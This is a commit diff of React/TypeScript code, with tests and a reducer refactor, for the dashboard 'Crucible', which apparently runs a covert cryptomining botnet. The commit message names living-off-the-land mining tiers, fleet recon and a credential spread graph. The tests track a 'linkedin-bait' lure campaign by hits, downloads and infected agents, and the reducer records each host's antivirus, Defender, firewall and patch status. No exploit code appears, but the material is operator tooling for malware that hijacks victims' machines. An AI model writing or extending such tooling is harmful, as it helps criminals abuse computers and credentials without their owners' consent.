Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
|
||||
unmount();
|
||||
expect(closeSpy).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('applies stats_batch mining fields to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-1',
|
||||
hashrate_15s: 250,
|
||||
hashrate_1m: 240,
|
||||
hashrate_15m: 230,
|
||||
cpu_usage_pct: 55,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-2',
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].hashrate_15s).toBe(250);
|
||||
expect(result.current.agents[0].active_method).toBe('inprocess');
|
||||
expect(result.current.agents[0].stratum_overlay).toBe(true);
|
||||
expect(result.current.agents[0].mining_hashrate).toBe(850);
|
||||
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
|
||||
});
|
||||
|
||||
it('applies stats_batch lotl_attempts to agents', async () => {
|
||||
const agent = mockAgent({ id: 'batch-lotl' });
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
|
||||
latestSocket().emitMessage({
|
||||
type: 'stats_batch',
|
||||
payload: {
|
||||
updates: [
|
||||
{
|
||||
agent_id: 'batch-lotl',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: [
|
||||
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
|
||||
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
|
||||
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
|
||||
});
|
||||
|
||||
it('applies emberwake_war_room WS payload', async () => {
|
||||
const warRoomPayload = {
|
||||
generated_at: '2026-06-06T15:00:00.000Z',
|
||||
days: 7,
|
||||
campaigns: [
|
||||
{
|
||||
campaign: 'linkedin-bait',
|
||||
hits: 42,
|
||||
downloads: 10,
|
||||
agents: 3,
|
||||
online: 2,
|
||||
hashrate: 1500,
|
||||
conversion_pct: 7.1,
|
||||
daily_hits: [1, 2, 3, 4, 5, 6, 7],
|
||||
},
|
||||
],
|
||||
};
|
||||
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
|
||||
await waitForSocket();
|
||||
|
||||
act(() => {
|
||||
latestSocket().emitOpen();
|
||||
latestSocket().emitMessage({
|
||||
type: 'emberwake_war_room',
|
||||
payload: warRoomPayload,
|
||||
});
|
||||
});
|
||||
|
||||
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
|
||||
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
|
||||
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
|
||||
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||
import { applyStatsUpdates } from '../help/applyStatsUpdate';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSStatsBatch,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
WSPolicyAck,
|
||||
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === update.agent_id);
|
||||
if (idx < 0) return prev;
|
||||
if (agentStatsUnchanged(prev[idx], update)) return prev;
|
||||
return prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
}
|
||||
: a,
|
||||
);
|
||||
});
|
||||
setAgents((prev) => applyStatsUpdates(prev, [update]));
|
||||
break;
|
||||
}
|
||||
case 'stats_batch': {
|
||||
const batch = msg.payload as WSStatsBatch;
|
||||
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
|
||||
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
|
||||
Reference in New Issue
Block a user